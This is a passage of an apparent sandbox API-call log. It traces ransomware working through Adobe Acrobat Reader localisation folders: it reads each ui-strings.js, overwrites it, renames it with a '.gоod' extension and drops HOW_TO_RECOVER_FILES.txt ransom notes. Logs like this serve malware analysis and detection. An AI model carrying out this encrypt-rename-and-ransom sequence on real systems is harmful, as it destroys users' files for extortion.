nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0147.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37c9d68 | out: lpFileInformation=0x37c9d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6)) returned 1 [0147.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0147.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0147.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.315] GetFileType (hFile=0x7fc) returned 0x1 [0147.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0147.315] GetFileType (hFile=0x7fc) returned 0x1 [0147.315] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xde6 [0147.315] ReadFile (in: hFile=0x7fc, lpBuffer=0x37caeb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x37caeb8*, lpNumberOfBytesRead=0x1ffeba08*=0xde6, lpOverlapped=0x0) returned 1 [0147.457] CloseHandle (hObject=0x7fc) returned 1 [0148.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0148.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0148.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0148.800] GetFileType (hFile=0x808) returned 0x1 [0148.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0148.800] GetFileType (hFile=0x808) returned 0x1 [0148.800] WriteFile (in: hFile=0x808, lpBuffer=0x394efe8*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x394efe8*, lpNumberOfBytesWritten=0x1ffeb918*=0xdf0, lpOverlapped=0x0) returned 1 [0148.801] CloseHandle (hObject=0x808) returned 1 [0148.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0148.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0148.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0148.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x54e8bf9b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0148.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0148.801] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js.gоod")) returned 1 [0148.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0148.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0148.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0148.803] GetFileType (hFile=0x808) returned 0x1 [0148.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0148.803] GetFileType (hFile=0x808) returned 0x1 [0148.804] WriteFile (in: hFile=0x808, lpBuffer=0x3952888*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3952888*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0148.804] CloseHandle (hObject=0x808) returned 1 [0148.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0148.805] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x68 [0148.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.805] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.805] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0148.805] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.805] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0148.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0148.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0148.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr", lpFilePart=0x0) returned 0x68 [0148.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.806] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.806] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0148.806] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0148.806] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0148.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0148.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0148.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0148.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3962440 | out: lpFileInformation=0x3962440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae)) returned 1 [0148.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0148.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0148.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0148.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0148.807] GetFileType (hFile=0x808) returned 0x1 [0148.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0148.807] GetFileType (hFile=0x808) returned 0x1 [0148.807] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xeae [0148.807] ReadFile (in: hFile=0x808, lpBuffer=0x3963658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3963658*, lpNumberOfBytesRead=0x1ffeba08*=0xeae, lpOverlapped=0x0) returned 1 [0149.331] CloseHandle (hObject=0x808) returned 1 [0149.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0149.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0149.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0149.424] GetFileType (hFile=0x808) returned 0x1 [0149.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0149.425] GetFileType (hFile=0x808) returned 0x1 [0149.425] WriteFile (in: hFile=0x808, lpBuffer=0x3789510*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3789510*, lpNumberOfBytesWritten=0x1ffeb918*=0xeb0, lpOverlapped=0x0) returned 1 [0149.425] CloseHandle (hObject=0x808) returned 1 [0149.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0149.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0149.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0149.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x5547d363, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0149.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0149.426] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\ui-strings.js.gоod")) returned 1 [0149.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0149.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0149.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\tr-tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0149.427] GetFileType (hFile=0x808) returned 0x1 [0149.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0149.427] GetFileType (hFile=0x808) returned 0x1 [0149.428] WriteFile (in: hFile=0x808, lpBuffer=0x378cd80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x378cd80*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0149.429] CloseHandle (hObject=0x808) returned 1 [0149.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0149.429] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x68 [0149.429] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0149.430] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.430] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0149.430] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0149.430] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0149.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0149.430] 